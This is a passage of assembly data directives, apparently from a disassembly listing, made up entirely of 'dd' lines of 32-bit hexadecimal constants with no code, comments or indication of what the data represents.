		dd 0CBFE6E18h, 0C70438F8h, 0BBA134ADh, 0E4985440h, 0CD18DAAAh
		dd 8E30272Ah, 720C00F0h, 1EBE4922h, 0D40029B5h,	6652EF51h
		dd 60361D87h, 5BBD40E2h, 581E0CA0h, 3CD440D8h, 6BEF0D88h
		dd 0E8D80866h, 0DDCA00E6h, 2A7750C3h, 0DE3B3FD9h, 0C7216F9h
		dd 0EECF5F03h, 0C478002Ch, 494820D2h, 0F2008C1Eh, 0CFEB0BB1h
		dd 0B3C852h, 2FA0983Fh,	61A9E7EAh, 8B1A2C60h, 6D7D6C5h
		dd 709D6D74h, 9F01A912h, 69727D09h, 6AD8B280h, 0F237F83Bh
		dd 361FAAAh, 7DBD83C6h,	0A4B04977h, 30FE7160h, 0E5AA8800h
		dd 9163578Fh, 974100E3h, 53C09372h, 0ADEE3EB3h,	2E716800h
		dd 0DD780E4Ah, 0CAA413B0h, 0F84F001Bh, 1AEBC1A0h, 0ED0359F6h
		dd 3D05788h, 3087C76h, 871EADABh, 17E85C3Fh, 0F0001656h
		dd 0EA0C02D4h, 18418E08h, 5A38EEB5h, 953BA6F4h,	2048061h
		dd 903380AEh, 97A1C044h, 0DBC60AC1h, 2761F300h,	0B1F901B8h
		dd 7580A0A3h, 0CEDD0069h, 0F03860C0h, 0D001FBD9h, 5A5E3723h
		dd 908056CBh, 45C183Fh,	4600D917h, 0F808553h, 0E23A614Ch
		dd 0F4E307A0h, 0F0286D5Fh, 0A4D29FE2h, 9C584000h, 0C15B2FBEh
		dd 17FD20D8h, 80E5D07Ch, 0C93D6F59h, 0BC9551h, 2025B483h
		dd 0E6D1B504h, 0A0DAB803h, 3FE42CD8h, 5E04E039h, 80338191h
		dd 5DA44ABAh, 2E07B300h, 24CB39A7h, 0C9EA0096h,	0EBB91C83h
		dd 11007F8Fh, 86A9B1E8h, 0E9A40Eh, 52303284h, 0D55B77E0h
		dd 0F249651Eh, 0EC5AB9C3h, 0B390335h, 0C23B210Ch, 780229A0h
		dd 0E6C0770Bh, 97A600F5h, 3B96FF30h, 4E9D9D5Dh,	0D9F84086h
		dd 3C671FDDh, 0E6A08C00h, 0FDEC802Eh, 42120022h, 0C416A630h
		dd 8F0C0ABBh, 41D8FF78h, 0FBFC3Ah, 2EFE133Dh, 1E02D2AFh
		dd 6F91E500h, 0BD2BA063h, 0EDCE0C6Dh, 5290B1FFh, 25D3A800h
		dd 3B742A93h, 0A6BA009Ah, 0F0BF4D6Dh, 9F015D18h, 3510C766h
		dd 40D80EA2h, 300B0025h, 0BC58B677h, 74000806h,	9C4D4160h
		dd 0FEEA543h, 8A1B38D3h, 0BA2ED80h, 80A8621Eh, 51F1259h
		dd 6A4094B9h, 0AE81DAA1h, 0AC7200C5h, 120EFE09h, 600171F6h
		dd 2107FF37h, 0A880156Fh, 7FDBF0DFh, 8103701Fh,	683B424h
		dd 7B580359h, 0F34CCF14h, 5EE57FC8h, 0FC0C4E7Ch, 78C3B081h
		dd 0D4037B1h, 2E5FC048h, 0E0E48430h, 0DE76161Eh, 0DD8A003Eh
		dd 940385C7h, 44DB0041h, 6CB5C69Eh, 5A0ECE72h, 0A71E0817h
		dd 8C500CD0h, 0CBDC4Ah,	0C3475E94h, 2718710Ah, 79F19826h
		dd 71F8F3Fh, 8020295Bh,	10F2CD8Bh, 0B62E0032h, 0CADF0B56h
		dd 13183057h, 0CC08AC17h, 7BB71BAh, 120659C0h, 0ED97369h
		dd 1BB757E0h, 0A8E66207h, 0AEF3B8F6h, 40A688h, 15521E29h
		dd 50ECB5C9h, 0DEB7E000h, 1B7FC768h, 0B6310082h, 0F2D95B3Bh
		dd 0F60350FEh, 0C085C64Bh, 0E3FBF0B1h, 0CA490037h, 5123B6E2h
		dd 0D80E12F6h, 0E493F0BEh, 20803AAEh, 705355h, 89801A50h
		dd 1C67065Bh, 0C445640Fh, 72A1E0B5h, 0CFE0888Fh, 0E1D8A9B1h
		dd 0D4506889h, 7104490Ch, 0FE8706F7h, 53009C1h,	4B84A0CEh
		dd 0DB002AEh, 1420315Ch, 6012F030h, 51F5AC06h, 785A8Eh
		dd 0FBC169D4h, 3DE5EB4h, 8DC65C00h, 2E58A9EDh, 479D0044h
		dd 4F1199C8h, 332A2D49h, 0AC29B04Bh, 420824BDh,	0A61102BEh
		dd 0EAE81ECAh, 8CE719D0h, 0B9E26F30h, 128E3FBAh, 0C083F19Fh
		dd 0D7C18DC3h, 1703DB7Bh, 0AC1C9442h, 0B088C029h, 2A5703CBh
		dd 0BD0F67D2h, 494E4DD0h, 28B6C703h, 81815825h,	90576987h
		dd 371834D0h, 2BA2304Fh, 0F4625579h, 0E71A8400h, 0D19FA8A4h
		dd 5EE100F3h, 8C372079h, 8183A24h, 57300958h, 0B1760083h
		dd 47DF9CFAh, 8B020B23h, 0D7ED1A6Eh, 93D8801Ch,	203F01Eh
		dd 63B9E129h, 0C82717Bh, 1756EC1h, 6C6BADE6h, 0B6C09047h
		dd 3E2698Bh, 79A9E5E1h,	0D6A9B8D8h, 0CAD8509Dh,	2A0A117Bh
		dd 0F8B1060Eh, 391E2241h, 7AF6B850h, 4FA93E51h,	20554412h
		dd 29B15774h, 184EA630h, 0A18E43h, 0B7315DBDh, 870769EFh
		dd 10B99924h, 0C4E46700h, 2EB5C8CAh, 0A1F138h, 0F68D3BE7h
		dd 0F43C72D4h, 0C73401D8h, 6BF20BB2h, 2FD33F4h,	2C80705Bh
		dd 25E04FDEh, 8E077857h, 4E03F46Ch, 83CE8FEEh, 3F2D775h
		dd 0C1438D49h, 39106708h, 0D030C5AFh, 1CE94E21h, 32883800h
		dd 6608BEB9h, 1A0F106Ch, 0CE39B8h, 669DF5Ch, 310A4862h
		dd 0C108884Dh, 8F208073h, 0D120DF63h, 0F60F00C2h, 7464DCBEh
		dd 89041916h, 57507E70h, 42801EC7h, 3278073h, 555BA777h
		dd 0DDE093F4h, 18F86F90h, 3116A400h, 0B4677AE7h, 5A750181h
		dd 493CA0A8h, 41F0E838h, 0C920FF00h, 876F1C2Fh,	60230076h
		dd 36185B0h, 0B101DFBAh, 372FBFC4h, 880083Ch, 8BAA6E27h
		dd 9200F777h, 0E7839605h, 0FA3E46h, 16A518CEh, 485FEA8Fh
		dd 4DB6C100h
		dd 0AAB7F4D4h, 365206F5h, 48FAD227h, 1830C900h,	0C04669BFh
		dd 0B4705Ch, 0D1BEF002h, 4B1F6131h, 0A32BFF1Eh,	0C4EC1C40h
		dd 0B97E2Fh, 10D59464h,	3672984Dh, 0A02CF414h, 24B000D4h
		dd 1341653Eh, 30BD03F8h, 0F5DD18A8h, 5901307Ch,	9EE86821h
		dd 0D980B9C8h, 0CFF705C1h, 41009353h, 0FB898EABh, 0F3677A0h
		dd 0DD9F28E5h, 0E848B1B9h, 3D3FA5B2h, 0FB8C38D4h, 95437128h
		dd 84A23700h, 1474D2B6h, 0D60C00C5h, 4BCC9D35h,	1200364Fh
		dd 0DE48A3CEh, 3F3805h,	0D86A9915h, 0C8AFEE73h,	1EBB931Eh
		dd 2CA800B9h, 0D30764Eh, 5E4A014Ch, 0B52B69A0h,	495E20Ch
		dd 0D983FB41h, 0A7426080h, 0F8CB4AC6h, 58B82203h, 0DD413910h
		dd 0ADC08AC4h, 0B81AB069h, 0F7A0007Eh, 8DF5F3AFh, 9D009C10h
		dd 5FA35860h, 15717Ch, 0E2B4198Bh, 6B0167F3h, 2B90FD02h
		dd 6063CC37h, 26C44106h, 8AE81Eh, 7EF87652h, 7F00B294h
		dd 57222A55h, 147D56Bh,	0AE8477CBh, 0C0366CCFh,	680041E2h
		dd 0C7692132h, 3C3CF544h, 5D80B2DEh, 62128616h,	1A7325C8h
		dd 0D4A90700h, 8813FE81h, 30690122h, 866BFA58h,	96A22072h
		dd 6FAAC80Eh, 0A2B057Ch, 352001C1h, 43C9FF8h, 15DB4678h
		dd 0FAA087C2h, 25D48098h, 87698105h, 7C7B2D00h,	44E733D3h
		dd 19F001Dh, 0CCDA7E61h, 8EB00594h, 9389EF00h, 0FF0CF06Ah
		dd 0FCE6B4h, 0AC50C2BCh, 0CB695AFEh, 80D0613Dh,	0E55BCA2Eh
		dd 227D12h, 3C481CADh, 903DA2D6h, 0DF137100h, 0A7F451EFh
		dd 6310C09Ch, 0ED46B81Bh, 0A9E94300h, 6BC0172Dh, 347E47h
		dd 50138295h, 33FE9BCAh, 0B52A1E00h, 0F1648676h, 9FD70009h
		dd 438AB7E4h, 103877F9h, 0B000FBEDh, 0EF31F6Dh,	0DF3785h
		dd 9A0543A4h, 12ECE2F6h, 6FE92E00h, 34E3CE93h, 21F886h
		dd 2D25F84Dh, 978CBCEAh, 5FA7EE00h, 0E2DE5B0Bh,	392600F1h
		dd 6EA66F9Ah, 88009513h, 0F0E9D221h, 0DE490Dh, 5C32EAFEh
		dd 117E5786h, 0B500C375h, 9330541h, 3440387h, 0D20AA585h
		dd 0FAC07E68h, 3A006C1Dh, 8783724Ah, 3DBAA049h,	1600B5E7h
		dd 5452FED6h, 0A20051CFh, 9BA71B6Dh, 0DD6AA9h, 0D18EC3E9h
		dd 0EB7832E0h, 0CF86661Dh, 3465FA41h, 8630DE59h, 0FC37B23h
		dd 0F1DB1AFDh, 6470FB20h, 5B0F0CB2h, 0E50BAD85h, 0C4002647h
		dd 73D4E45Dh, 0FF7234h,	12416B8h, 0A9E0FABFh, 0A1E25400h
		dd 0DD67D853h, 0EC63001Eh, 0B313703Eh, 1B007E51h, 0C778383Ch
		dd 7DA1C5h, 7523F4CCh, 690BB0D8h, 9A3C2600h, 4D2DF514h
		dd 0EA7A005Ah, 0A0BE4591h, 6812530Ch, 0AC00CB21h, 0CA6A11AAh
		dd 2438CA5Ah, 0A2E100B1h, 96F9EB46h, 0D3294D07h, 19472BDBh
		dd 68F71E12h, 0C0727B04h, 8B2CFD58h, 81076ACEh,	6DBB0486h
		dd 909E4380h, 1BF71A0h,	0AE509C7Ah, 8048699Bh, 5B9F3C68h
		dd 0A11D3D05h, 98F540E3h, 8B1B8C40h, 87C18C6h, 9411F0CAh
		dd 0E086B500h, 0C1519C30h, 0F3280CD4h, 0EF89B95Eh, 20328105h
		dd 5680A897h, 147D6D51h, 0B8BFB09Ah, 0BC20C626h, 0FCF93E00h
		dd 0A0BD190Fh, 8F0FA77Eh, 437E03B3h, 0E8DD3963h, 395931FDh
		dd 1FF06AD2h, 944A4134h, 2200841Ah, 0F9687A32h,	65F84390h
		dd 80DA5F37h, 83CD0E22h, 0C81570C6h, 0ED897FBh,	516287CEh
		dd 0C94E980h, 0E33D66C9h, 0AE6D0005h, 5F41142Ah, 3EB8015Bh
		dd 16B095C0h, 4694F899h, 8D65CA00h, 5F5BA61Eh, 0E84E0310h
		dd 1A2BC8F0h, 0F7C00AB8h, 0BB715100h, 4B305227h, 1DAA2444h
		dd 2E033DD8h, 0D3B4CC07h, 7D4C2780h, 4BDC6800h,	1794ED72h
		dd 0CABD019Dh, 0D9862A60h, 0BFF02043h, 0EE4AA907h, 0A5C003F5h
		dd 7578E0FFh, 0A0F60A26h, 0B8E51Ah, 0B88F4941h,	3100B25Ah
		dd 98E0CCB1h, 0AF3D50h,	9EA5404Ah, 0A9152753h, 0E6ED7600h
		dd 455F39CCh, 2F7319h, 0A11B77BDh, 5CFFE991h, 0A6C13E00h
		dd 4624FA5h, 75E1071Ah,	0E4BBE74h, 492BB340h, 0E31CCD3Ch
		dd 0A6003290h, 0F92751EAh, 57CA008Ah, 0B078EBD3h, 4F0034C5h
		dd 259DE392h, 16F4C6EFh, 402986E2h, 3B4BDB20h, 7AEE11ADh
		dd 0B232F700h, 8BAB5FA4h, 7589056h, 4B74C41Ah, 4427C038h
		dd 0F398C533h, 231F1E0Eh, 506B4246h, 79C4336h, 2FFF29F4h
		dd 3E10F74Ch, 0D02EADE0h, 52168280h, 1E00B54Bh,	1846B991h
		dd 0E7F51D1Fh, 0D35CC19Bh, 20612177h, 8A007684h, 0ED3B97A8h
		dd 948FA5h, 66024501h, 0CA93FE68h, 5591C61Ch, 29117F44h
		dd 0D017C81h, 0D4AAE413h, 0CEB8E449h, 9DEB87E0h, 0CC24DF7Ch
		dd 154170A6h, 6CE54C54h, 0F995E880h, 0B8DCEA85h, 44063872h
		dd 0DEBE9705h, 0F5C00F48h, 0E927DF43h, 0D1BB1383h, 8D861801h
		dd 67F1D43Bh, 0AC09422h, 729E05Dh, 2B0E5700h, 0E6C570ADh
		dd 903800BAh, 6736131Dh, 2D716031h, 49D18100h, 1762C06Ch
		dd 0D50E3CABh, 0FE785C8Fh, 0D7804DC3h, 314AB8A8h, 0F18FFD00h
		dd 0EB3B2029h, 0F3C386Ah, 11D4C00h, 912E6BB6h, 7C0F9CF8h
		dd 0FFF196h, 4EC7D483h,	1413F0FEh, 980FEA01h, 0ECA3A714h
		dd 0F8618701h, 0D856CB4Dh, 0BA00E7D3h, 7B9FE40Dh, 0EBD5E6E3h
		dd 18AAAF8h, 7712C39Ch,	0D0B0DFC8h, 0A1267238h,	61000289h
		dd 2CAA0AFBh, 0C3E25018h, 8E61Ch, 6697447h, 2F2014A7h
		dd 0D23BE900h, 378471C1h, 0FBDA00C6h, 914DDD8Ch, 0D4902DC9h
		dd 263B143Ch, 68809C8Dh, 50E1FC80h, 0EDF027h, 93BC08FAh
		dd 2C5B1E25h, 9723CE00h, 0AEA8ECBAh, 0DEE30786h, 998D3679h
		dd 0A4D8FC20h, 320194B1h, 19FB9392h, 24700818h,	2CB9009Eh
		dd 0AE7E2675h, 291625E4h, 0D5000292h, 8F6C690Ah, 7D7626D2h
		dd 0EF1C0E4h, 0A0005A15h, 35EB7394h, 83D756h, 7B996F0h
		dd 3B99595Eh, 9A947D00h, 384C9B43h, 20D3005Dh, 68A663ACh
		dd 6A127F84h, 4C805C3Dh, 9B632A3h, 0A821C3EDh, 3D06C416h
		dd 0B84DBF26h, 69AF060h, 72CA4C48h, 0A10B9986h,	38E1D13Dh
		dd 0A6BD0Ch, 0FB32E705h, 754391BBh, 0EA83441Eh,	3EF22EC1h
		dd 0F7E469CFh, 1626058Fh, 1F76FFh, 0EE8AA8D7h, 0F900D983h
		dd 0C65BBB47h, 8FDA12h,	3116AC03h, 783762CCh, 67096000h
		dd 2CE7D248h, 7D1A1312h, 5F130026h, 0C0143D42h,	0BEFB8700h
		dd 0B7E2DF3Fh, 3AE001Dh, 20120ACFh, 0BB00AA5Fh,	79498024h
		dd 0F60B3BDBh, 6C8A01E7h, 0DD6B9DE5h, 0B4AC20B1h, 0F728D200h
		dd 5A7B2D85h, 1F5826BAh, 18158948h, 7286F8A3h, 927D393Bh
		dd 0FC42BD3Ch, 6830EA49h, 189A580h, 7B33BE0Ah, 30DC94EBh
		dd 11012940h, 0B0916297h, 8DF06C03h, 58522BDFh,	635580C8h
		dd 287F351Ch, 0D0C93D1Fh, 0A1563900h, 0E85882C6h, 0CCD70036h
		dd 15DBEB53h, 2D00A0F3h, 0E5432F84h, 108C50Dh, 29BFC4EFh
		dd 24340B2Ah, 0BB044E48h, 8999A880h, 18AD6488h,	0B932CC0Fh
		dd 0C406FC56h, 6F5E6C8Ch, 0F5A90090h, 3708AA98h, 0BA0022E9h
		dd 367DABDFh, 0BFC51Bh,	4F68A52Bh, 0F8319354h, 1009CA90h
		dd 1CDD80Ch, 0A1B3AA0h,	0CE86E8h, 7649883Dh, 0F53F0F31h
		dd 27006090h, 74A07D3Eh, 1FE27AFBh, 4053EF92h, 0A846B1B3h
		dd 3900AD8Ch, 3874B9D8h, 927D12h, 1CD159C1h, 97318113h
		dd 70FECA00h, 1F601042h, 0C478008Bh, 7284D5E7h,	9971399Eh
		dd 1208BB07h, 0AAA0FD85h, 0FE34889Dh, 0C0FC092Bh, 0E4A1E60Ah
		dd 369A50ECh, 51C485Ch,	0C7A205A4h, 0B89BB683h,	96AB68h
		dd 0FA23D7C0h, 362F6C56h, 0B76E3D00h, 0D4DED0F3h, 8498EFh
		dd 0ACF7744Ah, 42160A0h
		dd 8912B512h, 9C701084h, 4CC84817h, 0E7060CF4h,	68A7FF59h
		dd 3635B81Fh, 7D8FD306h, 6088019Ch, 0A7D2E95Ch,	3BDC502Fh
		dd 7B045BABh, 88574177h, 2BEF4880h, 145D24F6h, 0C296110h
		dd 356424DAh, 857B44B8h, 83DC4D00h, 4018BCAAh, 0E1BA2E69h
		dd 8697E0D8h, 93040506h, 0E3B2528Dh, 1E004CDh, 41590E7Fh
		dd 5D29ECFFh, 0D9B4B4A0h, 85C9D96h, 0F9CD2E37h,	0F43C6E03h
		dd 6180F009h, 1BE20027h, 8EBCECD0h, 463B71FCh, 241407E0h
		dd 0E8B0C7CFh, 5A3C4F5h, 5837CD04h, 0C0BFC456h,	901B47Eh
		dd 6C6C2261h, 6CC7B9Ch,	1C3A00DFh, 0E995402Fh, 800B1249h
		dd 8042FB13h, 5B03F070h, 104D01ACh, 0B8C64854h,	306460BFh
		dd 85D138h, 0CC4FD555h,	0FFEDCBDh, 59766023h, 0D2344017h
		dd 0C35E9CB3h, 8307087Ch, 3DAB5D17h, 3714A03Eh,	3A4B3143h
		dd 158FD106h, 5300A624h, 5295CD6Ch, 0E2F50C00h,	0C8137EECh
		dd 0E1D7A20h, 0F1844B54h, 4D736400h, 2339979Dh,	0FE2584D2h
		dd 0DC800735h, 0C8674Ch, 0BA062D7Ah, 0CE45C12Ah, 950E26F2h
		dd 203FB183h, 0DF96C537h, 0E0A300F9h, 73DCFFB9h, 5900BBF5h
		dd 14E87710h, 59F6A74h,	0B89BDC6h, 7ED4807Fh, 583EF808h
		dd 0EBA68D7Ah, 46F0707Dh, 594F2Eh, 5C74D344h, 0D0FFEE6Ah
		dd 20C8EDA4h, 1CA541D5h, 403980C1h, 7E2FFA33h, 35F90F98h
		dd 95805267h, 7B928255h, 30F8F300h, 0A5DB23E9h,	0DE2D0014h
		dd 8DB0411Fh, 2700B912h, 0F2CCBD83h, 212AA0h, 36A7F1B6h
		dd 67FA5BC1h, 0F8034114h, 9D06808Ch, 1EBE8Fh, 212E77A6h
		dd 958F191h, 5BB43C16h,	41C4EE00h, 0B3B59Eh, 524BEDEFh
		dd 42462AEEh, 0A7C15A60h, 7297CC7h, 8DA4AF61h, 47374362h
		dd 0FFE3A9CBh, 75B5D800h, 0AB440589h, 9F2F4CF9h, 0C492E000h
		dd 0F5DA0F33h, 0BBC23405h, 5887B769h, 0F9728110h, 91F418AAh
		dd 4CD49A90h, 0C1F2C300h, 35C6732Eh, 4F2000A4h,	8503B868h
		dd 0B248F897h, 4767003Bh, 6FC0D1EFh, 510E031Bh,	198FF170h
		dd 5DAC1388h, 0CF09EC00h, 0A01C04EBh, 0FE601D95h, 9E47003Ah
		dd 0E2A4AA08h, 5FD5F200h, 1667CB61h, 9DCA3BE6h,	794C6980h
		dd 13E277A1h, 6F78717Dh, 5485C114h, 4F8B80ACh, 6FD2137h
		dd 8058F0A7h, 0F74D08BDh, 813E386Ch, 91721A41h,	2E30742Ah
		dd 2E12CA2h, 261F00DCh,	65C77ACh, 54A6810Bh, 0CF44A096h
		dd 3D797C6Ch, 894C1244h, 0C3661600h, 6F944668h,	7E840A00h
		dd 0DD302AFh, 2CB64898h, 72D25B07h, 829D37E8h, 90D26F95h
		dd 0E69E5800h, 67AC2742h, 0C080E139h, 1BCED823h, 372624D1h
		dd 0CC0098D3h, 0D9B22767h, 0B6513B44h, 20CB8E86h, 9005010h
		dd 1C24AFACh, 0CCE0D07h, 49644229h, 3158EC69h, 9DED00A2h
		dd 3CD1041Dh, 4802305Bh, 34381171h, 0EE467315h,	9C80090h
		dd 0E6937A0Bh, 0DCD50025h, 0A941DA50h, 4F035605h, 0A5C8DEF3h
		dd 0ACAC8F8h, 0F1F6C0E7h, 1D99AC23h, 0F7ED2D12h, 8EC3C40h
		dd 375589Bh, 83BC6812h,	0DFA26C18h, 168BE46Bh, 0E71C2000h
		dd 0F4A82C9Ah, 7ABD3764h, 974F70C8h, 0D0006EDh,	6EE891EFh
		dd 7DA9BFE6h, 9C0C0EDDh, 6A40D35Ah, 0A3091757h,	0D67EA803h
		dd 0C0CEAE60h, 0CA4F48h, 12C54D55h, 1057C04Bh, 0FA879A00h
		dd 0E0D1C850h, 804900D4h, 9793ED4Dh, 0AA02EA91h, 6B020372h
		dd 0B8A4E034h, 390D00F0h, 0CE55F8BEh, 4D009312h, 2229B7F4h
		dd 936AB61h, 65303F6Ch,	6011F500h, 0C3FED952h, 92691C0Eh
		dd 35AA01Bh, 0E4B027EDh, 631B0EAh, 0FE50930Dh, 0DF005013h
		dd 66FC6F96h, 0F04CDC56h, 0E0A4005Bh, 4F29839h,	0A6029271h
		dd 64C7C5FAh, 0C7E1755Eh, 1418810Fh, 34E66AF0h,	6193C5D8h
		dd 2C1640CAh, 8008BC35h, 87AC9BF1h, 17B397D0h, 50B94Ah
		dd 0BA2B30DAh, 0B00E46Dh, 20B67A6Eh, 0DBC4DB37h, 30D04917h
		dd 5907FBD7h, 0D0890ED9h, 0B04868B0h, 0CAF1F88h, 0D83B8312h
		dd 91D0D539h, 0F00CDB5h, 955BBA3h, 83E2C8h, 0C30C5D6Ah
		dd 218F5820h, 947E5403h, 0A0C5ED40h, 36476Ch, 0AB1E4359h
		dd 452011ECh, 420003F2h, 5D7D5B33h, 1C8CC049h, 1D299E38h
		dd 11020C3Fh, 0FA005520h, 0C15F475Eh, 0FE12AE3Dh, 9C3700BDh
		dd 0C560B72Eh, 0CC0050B3h, 33FFB290h, 74BC303Bh, 4D60DC37h
		dd 80480253h, 0A30B8A74h, 0E1F2DDCh, 32B4A8FEh,	0C9E1F920h
		dd 897CCE87h, 0A911F60Ah, 0C40F50A5h, 0AEC2C0DEh, 0C8EA230h
		dd 0AA7DBDF6h, 464312C8h, 9B5F1B01h, 0D3FFCC0h,	80FB20DEh
		dd 72002B5Fh, 0D3C0537Bh, 8E45F2h, 0AA7ED5AEh, 97EF01CAh
		dd 0BDFD4100h, 9D19B6C5h, 0D3E01D2Ch, 46F0308Ch, 0C0E96F3h
		dd 200F41CDh, 9AEEB6D6h, 648700DFh, 0E3F2B7FDh,	58E4E265h
		dd 26E2603h, 0E0338F89h, 4B928Ch, 35E834CDh, 0F01E70EBh
		dd 1648441Dh, 0AC21F618h, 54D40059h, 1C64C2EDh,	0F300280Bh
		dd 0BD420DFAh, 0E8379D1h, 4AC9E503h, 9B6326E0h,	0A9391692h
		dd 0ED4B007Eh, 0DC06F0ACh, 0E7C90351h, 0E6C2186Ah, 45209EA2h
		dd 2406CBh, 9569ECD9h, 6D7FF2BEh, 0D8F00CF4h, 7A35F700h
		dd 6EECBFA5h, 94570198h, 45B7E24Bh, 34A64013h, 7E0C057Ah
		dd 0B9EC6D09h, 0A282292Bh, 0BB610374h, 0E044E51Ch, 8D401874h
		dd 0EA2E00ADh, 37D3CF2h, 0E577F525h, 0A6E25A1Ch, 13BFA870h
		dd 6830231h, 68504ADBh,	601578A4h, 23B50743h, 0AF089151h
		dd 0C952057Bh, 0DE7B8006h, 0E000A95Ah, 0DF57C8BFh, 17E56DDBh
		dd 0C04069B7h, 3664AA2h, 10680730h, 83A4E0h, 44CC1EE9h
		dd 0D6B973CDh, 0AA792B0Fh, 8E86EFF5h, 9ACB80B1h, 0FEB09Dh
		dd 0DD7837D3h, 0D8A96069h, 0EF0FD17Eh, 71C344h,	3D721618h
		dd 3E77E443h, 5600018Dh, 0CF4F58E1h, 0E6005D19h, 0BEA5832Ah
		dd 7D215A68h, 3B79B3h, 0D1398662h, 0AB7D75C1h, 61C230Ch
		dd 1744CEAh, 10C87245h,	30532A48h, 6E3E46A2h, 3A8001Bh
		dd 88833999h, 0FE582E1Ah, 4B09002Dh, 4742C192h,	65A0F000h
		dd 342C4E72h, 0A7E2005Ch, 15DFD22Fh, 0C937C2BAh, 0DAC0803Ah
		dd 0DC0105Ah, 4E3B996Ch, 0AC41F099h, 60567407h,	60CE6AF3h
		dd 22E76158h, 77F6313Dh, 0C4D09E88h, 29000D51h,	0A14CD6CEh
		dd 3DA206Eh, 6FAB0961h,	0F8788EF4h, 0D0DC461Eh,	120A0640h
		dd 30789672h, 0C3486DE4h, 4004E89h, 0D8C181E3h,	1E8A715Ah
		dd 834AE486h, 0EB910620h, 996B07C8h, 51E54F0Fh,	88C3C0B4h
		dd 7471C277h, 5C730ADh,	51F41920h, 2F018690h, 2833BBFDh
		dd 15F82676h, 0A7F6CAh,	0AF8064D6h, 0C479692Ch,	0FB07EC1Fh
		dd 3CC5881h, 0AD0517Bh,	0FF20C0B2h, 385DBDDFh, 1943B400h
		dd 0F7957BA5h, 6FD6009Fh, 10C0762Ah, 0AF008F06h, 5CEAAA66h
		dd 7B520CB6h, 0E462182Ch, 109948AEh, 0D7A6340Fh, 0FDCAE0F5h
		dd 55CB24h, 6593EB74h, 6196A5FBh, 2327E403h, 1EEADE17h
		dd 5FA69B18h, 7B84288Ch, 0BF0286BBh, 734E1A51h,	108E19ADh
		dd 87D5EFh, 7B04CC63h, 14A18B3h, 0A006A41Ch, 584BFC0h
		dd 30329B66h, 0C67860ABh, 2200FD90h, 97D275EAh,	52587C3h
		dd 8A116D98h, 62AC0099h, 0B6D7FEDCh, 75DE3F14h,	8E6D00F2h
		dd 80924518h, 310E272h,	77CF6B96h, 10009B2Fh, 0A4C701E0h
		dd 0E4AA0Ah, 0D2AE2629h, 1191FDD4h, 1A00CE90h, 96E008A3h
		dd 0CA041C7h, 0EF3145ECh, 43177A12h, 0E700A99Ah, 491BB304h
		dd 0BE20016h, 6FC79BBAh, 63032043h, 9FBF8244h, 0FAD49069h
		dd 798B094Eh, 0AA00C38Dh
		dd 8EBAD6E9h, 0E4A35F00h, 0E67C84AAh, 2A16303Ch, 45B00E90h
		dd 82EB1900h, 2F5D710Bh, 9399186Fh, 1E3B8617h, 9BF2233Bh
		dd 0B28C82Ah, 3C011B18h, 91168057h, 743887h, 2EB8F710h
		dd 0E5A0130Dh, 96DC4201h, 2BB58F72h, 0EC0BB120h, 732CA95Bh
		dd 58909261h, 8038C0FDh, 6D9104E4h, 0D0594043h,	9B08BF1Dh
		dd 41DDE6E5h, 1820C97h,	0A70816AFh, 1804177h, 501084ECh
		dd 0F21E931h, 21E23E9Eh, 1F0CE76Ah, 0E103B199h,	8606FF08h
		dd 0A5C829B1h, 18B1C640h, 6B435937h, 5ABC220Ah,	0E42E0884h
		dd 2AF94B43h, 3E84F7B1h, 0AD30EFC7h, 83249C51h,	1100B27Eh
		dd 3EF14D62h, 84F781h, 8EAEFDECh, 1BF629B0h, 7C50BE70h
		dd 9003C194h, 338D92AAh, 4348389Ch, 558F4A03h, 7058FE82h
		dd 0F4E10007h, 7D6A631Ah, 5AFD07C4h, 60A1907Fh,	0AA561078h
		dd 98514518h, 36623F8h,	585330Dh, 0A80859B1h, 809EE5E2h
		dd 20CCFD44h, 0C4002628h, 0D96A59D3h, 3DDF283h,	74AF5F85h
		dd 2FB6488h, 551FE872h,	5009F76Eh, 890C21F8h, 508FA00Bh
		dd 0D5206A5Fh, 51BB5561h, 4FCB8000h, 2B753288h,	7294A00Dh
		dd 50FE839h, 99931202h,	20A040F6h, 0A2879C4Ch, 1AF80300h
		dd 26F27F09h, 4464003Ah, 4D8A407Bh, 0E40350BBh,	0FCF159DEh
		dd 3C5003DFh, 0FA9C21D8h, 30BBF2B8h, 1CA2D50Dh,	0E99F8EFFh
		dd 0C0070025h, 1732F0F9h, 6E1DB900h, 8928228Eh,	6DB0ABh
		dd 9CDE867Bh, 0E8BCAAC1h, 0BD0ED11Eh, 0A546A200h, 6FB8DABh
		dd 0C1883AE4h, 8100597Dh, 0D627702Bh, 766EEBh, 4509FEEh
		dd 0E416CB0h, 9477A807h, 9EC0652Ah, 0EEBD29B3h,	0E597B1Dh
		dd 231449A1h, 917F8BE0h, 0DBF71B9Bh, 3C2AD3F0h,	0AFF16200h
		dd 322D025Ah, 86DF141Ah, 0D400B0E8h, 0BA39F54Dh, 251E9212h
		dd 5B404CF3h, 9EEE79B1h, 5C840361h, 44436F8h, 477798E8h
		dd 0A3842F2h, 9AD9008Ah, 13724091h, 0CD70006Bh,	0B029630Eh
		dd 6024968Fh, 2A004D41h, 0CBBBAECEh, 78704CD2h,	0BADC700h
		dd 0A5F45574h, 0B80D1D00h, 0FA61268Eh, 0AE3A0040h, 8715CA23h
		dd 110168A6h, 9EA88FF2h, 6ACC8256h, 0AA7F0045h,	0C73A24FAh
		dd 0B00AE55h, 0A01F188Ch, 763515Fh, 0B0D4CB7Bh,	69F330CCh
		dd 0FA02D57Eh, 3D879A58h, 0D3B860BEh, 70ACA1E5h, 0AA0A7DBh
		dd 79BD36E2h, 5A523296h, 4907719h, 0EC3E8B7Bh, 0F6CF0016h
		dd 0B28F6752h, 0FC9E2695h, 0C0803939h, 0FFEBF0B0h, 0D706EA61h
		dd 66C34BCEh, 0AD912228h, 0A9CDB610h, 58595B11h, 0AD296440h
		dd 119B0921h, 16176247h, 2910791Eh, 0AD08FFF1h,	308AA20h
		dd 34788E60h, 97E51130h, 28B6D511h, 0A032502Fh,	10E12931h
		dd 0B89C65Dh, 57112841h, 0A2FD798Ch, 0AD646629h, 5627F779h
		dd 7942C9CBh, 21B98911h, 3DEC0833h, 773591h, 8EAD98FBh
		dd 5DE483E0h, 50F5F300h, 0C4291722h, 0C65900C9h, 9F936B4Dh
		dd 21EC6419h, 0C0A78E00h, 0B9CCA307h, 452A0085h, 71E8CFDEh
		dd 0FD00F004h, 0B11D2226h, 1DC031C3h, 0FBCEF43h, 300B9774h
		dd 528D5700h, 213AA2CDh, 100C35A1h, 3D849C80h, 0D75E0030h
		dd 85CC4A76h, 779D89Dh,	1553600h, 59ABD67Eh, 926A30B1h
